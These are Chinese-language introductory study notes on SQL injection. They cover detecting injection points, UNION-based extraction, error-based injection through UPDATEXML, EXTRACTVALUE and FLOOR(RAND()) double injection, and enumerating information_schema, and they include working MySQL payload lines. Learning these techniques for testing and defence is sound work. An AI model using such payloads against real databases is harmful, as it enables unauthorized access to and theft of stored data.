SQL注入初步学习

一、什么是SQL注入
  • 服务器没有严格的校验客户端发送的数据,导致将用户精心构造的数据作为 SQL 语句执行,从而导致数据库的内容被修改或泄露。
二、如何探测sql注入点
  1. 用户的输入能是否改变显示的内容,如果能够改变说明后台对输入有处理
    • 例如,传回的数据有没有改变、是否存在显示的内容、以及其它一些不可见的信息
  2. 构建一条绝对出错的输入('")(),查看当前页面的返回内容
    • 如果报错了,就说明用户输入的内容会被作为sql指令的一部分
  3. 尝试对SQL指令进行闭合,并且构建出相关的语法,查询自己需要的内容
    • 闭合实际就是猜测后台使用的SQL指令
三、如何获取信息
  1. 通过联合查询注入的方式,获取到想要得到的信息(返回了查询到的信息)
    • 在进行联合查询的时候,两条查询语句的列数必须是相同的
      • SELECT * FROM xxx UNION SELECT 1,2,3,...; 直到不报错
      • SELECT * FROM xxx ORDER BY N; 直到报错为止
    • 有时,网页上只会显示查询到的第一条内容,此时在使用联合查询的时候,我们是看不到自己构建的查询语句查询到的内容的,可以通过将默认的查询条件设置为查不到来显示自己的内容。
      • SELECT * FROM USER WHERE id=-1 UNION SELECT 1,2,3;
    • 并不是所有查询到的内容都会被显示出来,我们需要结合页面利用联合查询中的字段
      • SELECT * FROM USER WHERE id=-1 union SELECT 1,version(),database()
  2. 报错注入方式(必须有报错信息)
    • updatexml(str, xpath, str): 函数的作用是解析 xpath 语法进行内容的替换
      • xpath 中 ~是绝对报错的,后续可以拼接自己想要查询的语句,注意需要加()
      • SELECT UPDATEXML(0, concat('~',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users')), 0)
      • 缺点,只能获取到最多32字符的数据SELECT UPDATEXML(0, concat('~',(SELECT SUBSTR((SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES), 32, 32))), 0)
    • extractvalue:使用方式和 UPDATEXML 完全一致,但是少了第三个参数
    • 双注入(8.0不支持):SELECT COUNT(*) FROM TABLE GROUP BY FLOOR(RAND(0)*2);
      • rand()函数的参数一定要写成0,否则概率性失效
      • floor(rand(0) * 2) 得到的结果必然是 0 或者 1
      • count(*) 配合 group by 会产生虚拟表,就是虚拟表部分出现了问题导致了错误
      • 0 是否存在 FLOOR(RAND(0) * 2),不存在
      • 1 创建 FLOOR(RAND(0)*2),1
      • 1 是否存在 FLOOR(RAND(0)*2),存在
      • 0 是否存在 FLOOR(RAND(0)*2),不存在
      • 1 创建 FLOOR(RAND(0)*2),键是唯一的,所以报错(报错的是键名)
四、我们能够获取到什么信息
  • 最基本的信息,例如 version() database() user() 等
  • 通过 information_schema 获取数据库中的所有 数据库名、表名、字段名
    • SCHEMATA: 保存了所有数据库的信息
    • SELECT * FROM information_schema.SCHEMATA
    • TABLES:保存了数据库和表的对应关系
    • SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()
    • COLUMNS: 保存了指定数据库的表和字段的对应关系
    • SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='USER';
五、一些问题
  • 为什么不使用 # 进行注入?
    • 并不是通用的注释,它只能被用于 mysql 数据库
    • 直接写在 URL 中时,表示的是锚点跳转,使用需要转义 %23
六、涉及的函数
  • version(): 当前的数据库版本
  • database(): 当前所使用的数据库
  • user(): 当前的用户名和主机名
  • group_concat(): 拼接查询到的所有结果为一个字符串
  • concat: 拼接任意个数的字符串
  • substr: 截取指定字符串中的一部分
  • count:用于分组查询,计算每一组查询到了多少条内容
  • floor:向下取整函数
  • rand:随机数函数,返回的是一个0~1的随机小数
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章